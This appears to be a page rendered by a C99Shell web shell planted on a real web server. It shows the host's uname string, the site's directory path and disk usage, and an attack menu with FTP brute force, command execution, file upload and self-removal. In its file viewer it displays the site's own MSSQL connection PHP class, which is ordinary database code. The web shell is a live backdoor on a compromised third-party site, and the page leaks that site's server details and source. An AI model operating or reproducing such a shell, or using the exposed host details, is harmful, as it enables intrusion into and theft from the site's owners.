!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/connections/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MSSQLWinConnection.php (7.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class MSSQLWinConnection extends Connection
{    
    protected 
$host;
        
    protected 
$dbname;
    
    protected 
$user "";
    
    protected 
$pwd "";
    
    protected 
$options "";
    
    protected 
$ODBCString;
    
    
/**
     * A date format string
     * @type String
     */
    
protected $mssql_dmy;

    protected 
$errExeprionMess "";
    
    
    function 
__construct$params )
    {
        
parent::__construct$params );
    }

    
/**
     * Set db connection's properties
     * @param Array params
     */
    
protected function assignConnectionParams$params )
    {
        
parent::assignConnectionParams$params );
        
        
$this->ODBCString $params["ODBCString"];        
        
$this->host $params["connInfo"][0]; //strConnectInfo1
        
        
if( $params["connInfo"][2] == "SSPI" )
        {
            
$this->dbname $params["connInfo"][1];  //strConnectInfo2
            
$this->options $params["connInfo"][2];  //strConnectInfo3
        
}
        else
        {
            
$this->user $params["connInfo"][1];  //strConnectInfo2 
            
$this->pwd $params["connInfo"][2]; //strConnectInfo3 
            
$this->dbname $params["connInfo"][3];  //strConnectInfo4
        
}
    }
    
    
/**
     * Open a connection to db
     */
    
public function connect()
    {
        global 
$cCodepage;
        
        
$connStrings = array();
        if( 
$_SESSION["MSSQLConnString"] )
            
$connStrings[] = $_SESSION["SQLConnString"];
        
        
$connStrings[] = $this->ODBCString;
        
    
//    SQLOLEDB provider
        
if( $options == "SSPI" )
            
$connStrings[] = "PROVIDER=SQLOLEDB;SERVER=".$this->host.";DATABASE=".$this->dbname.";Integrated Security=SSPI";
        else
            
$connStrings[] = "PROVIDER=SQLOLEDB;SERVER=".$this->host.";UID=".$this->user.";PWD=".$this->pwd.";DATABASE=".$this->dbname;    
    
//    SQLNCLI provider
        
if( $options=="SSPI" )
            
$connStrings[] = "PROVIDER=SQLNCLI;SERVER=".$this->host.";DATABASE=".$this->dbname.";Integrated Security=SSPI";
        else
            
$connStrings[] = "PROVIDER=SQLNCLI;SERVER=".$this->host.";UID=".$this->user.";PWD=".$this->pwd.";DATABASE=".$this->dbname;    
    
    
//    go thru connection strings one by one
        
$errorString "";
        foreach(
$connStrings as $connStr)
        {
            try 
            {
                
$this->conn = new COM("ADODB.Connection"NULL$cCodepage);
                
$this->conn->Open$connStr );
                
$rs $this->conn->Execute("select convert(datetime,'2000-11-22',121)");
            
                
$str $rs->Fields[0]->Value;
                
$y strpos($str"2000");
                
$m strpos($str"11");
                
$d strpos($str"22");
            
                
$this->mssql_dmy "mdy";
                if( 
$y $m && $m $d )
                    
$this->mssql_dmy "ymd";
                if( 
$d $m && $m $y )
                    
$this->mssql_dmy "dmy";
                    
                
$_SESSION["MSSQLConnString"] = $connStr;
                
$this->conn->CommandTimeout 120;
                return 
$this->conn;
            }
            catch(
com_exception $e)
            {
                
$errorString .= "<br>".$e->getMessage();
            }
        }
        
$this->triggerError($errorString);
    }
    
    
/**
     * Close the db connection
     */
    
public function close()
    {
        
$this->conn->Close();
    }
    
    
/**    
     * Send an SQL query
     * @param String sql
     * @return Mixed
     */
    
public function query$sql )
    {
        
$this->debugInfo($sql);
        
        try
        {
            
$qHandle $this->conn->Execute$sql );
            return new 
QueryResult$this$qHandle );
        } 
        catch(
com_exception $e)
        {
            
$this->triggerError($e->getMessage());
            return 
FALSE;
        }
    }
    
    
/**    
     * Execute an SQL query
     * @param String sql
     */
    
public function exec$sql )
    {
        
$qResult $this->query$sql );
        if( 
$qResult )
            return 
$qResult->getQueryHandle();
        
        return 
FALSE;    
    }
    
    
/**    
     * Get a description of the last error
     * @return String
     */
    
public function lastError()
    {
        if( 
$this->conn->Errors->Count )
        {
            
$description $this->errExeprionMess;
            
$this->errExeprionMess "";
                
            return 
$description." ".$this->conn->Errors$this->conn->Errors->Count ]->Description;
        }
        
        return 
'';
    }
    
    
/**
     * Fetch a result row as an array
     * @param Mixed qHanle        The query handle
     * @param Number assoc (optional)
     * @return Array
     */
    
protected function _fetch_array($qHandle$assoc 1)
    {
        
$ret = array();
        
        if( 
$qHandle->EOF() )
              return 
$ret;
               
        try {        
            for( 
$i 0$i $this->num_fields($qHandle); $i++ )
            {
                if( 
IsBinaryType$qHandle->Fields[$i]->Type ) && $qHandle->Fields[$i]->Type != 128 )
                {
                    
$str "";
                    if( 
$qHandle->Fields[$i]->ActualSize )
                    {
                        
$val $qHandle->Fields[$i]->GetChunk$qHandle->Fields[$i]->ActualSize );
                        
$str str_pad(""count($val));
                        
$j 0;
                        foreach(
$val as $byte)
                        {
                            
$str$j++ ] = chr($byte);
                        }
                    }
                    
                    if( 
$assoc )
                        
$ret$qHandle->Fields[$i]->Name ] = $str;
                    else
                        
$ret$i ] = $str;
                }
                else
                {
                    
$value $qHandle->Fields[$i]->Value;
                    if( 
is_null($value) )
                        
$val NULL;    
                    else
                    {
                        if( 
isdatefieldtype($qHandle->Fields[$i]->Type) )
                            
$value localdatetime2db( (string)$qHandle->Fields[$i]->Value$this->mssql_dmy );
                        if( 
IsNumberType($qHandle->Fields[$i]->Type) )
                            
$val floatval($value);
                        else
                            
$val strval($value);
                    }
                    if( 
$assoc )
                        
$ret$qHandle->Fields[$i]->Name ] = $val;
                    else
                        
$ret$i ] = $val;
                }
            }
            
$qHandle->MoveNext();
        } 
        catch(
com_exception $e)
        {
            
$this->triggerError$e->getMessage() );
        }

        return 
$ret;
    }    
    
    
/**
     * Fetch a result row as an associative array
     * @param Mixed qHanle        The query handle
     * @return Array
     */
    
public function fetch_array$qHandle )
    {
        return 
$this->_fetch_array$qHandle );
    }
    
    
/**    
     * Fetch a result row as a numeric array
     * @param Mixed qHanle        The query handle     
     * @return Array
     */
    
public function fetch_numarray$qHandle )
    {
        return 
$this->_fetch_array$qHandle);
    }
    
    
/**    
     * Free resources associated with a query result set 
     * @param Mixed qHanle        The query handle         
     */
    
public function closeQuery$qHandle )
    {
        
$qHandle->Close();
    }

    
/**    
     * Get number of fields in a result
     * @param Mixed qHanle        The query handle
     * @return Number
     */
    
public function num_fields$qHandle )
    {
        return 
$qHandle->Fields->Count;
    }    
    
    
/**    
     * Get the name of the specified field in a result
     * @param Mixed qHanle        The query handle
     * @param Number offset
     * @return String
     */     
    
public function field_name$qHandle$offset )
    {
        return 
$qHandle->Fields($offset)->Name;
    }
    
    
/**
     * @param Mixed qHandle
     * @param Number pageSize
     * @param Number page
     */
    
public function seekRecord($qHandle$n)
    {
        if( !
$n )
            return;
            
        if( 
$qHandle->EOF() )
            return;
            
       
$qHandle->Move$n );
    }
    
    
/**
     * Execute an SQL query with blob fields processing
     * @param String sql
     * @param Array blobs
     * @param Array blobTypes
     * @return Boolean
     */
    
public function execWithBlobProcessing$sql$blobs$blobTypes = array() )
    {
        
$this->debugInfo($sql);
        
        try
        {
            
$this->conn->Execute$sql );
            return 
true;
        } 
        catch(
com_exception $e)
        {
            
$this->errExeprionMess $e->getMessage();
            return 
false;
        }        
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0022 ]--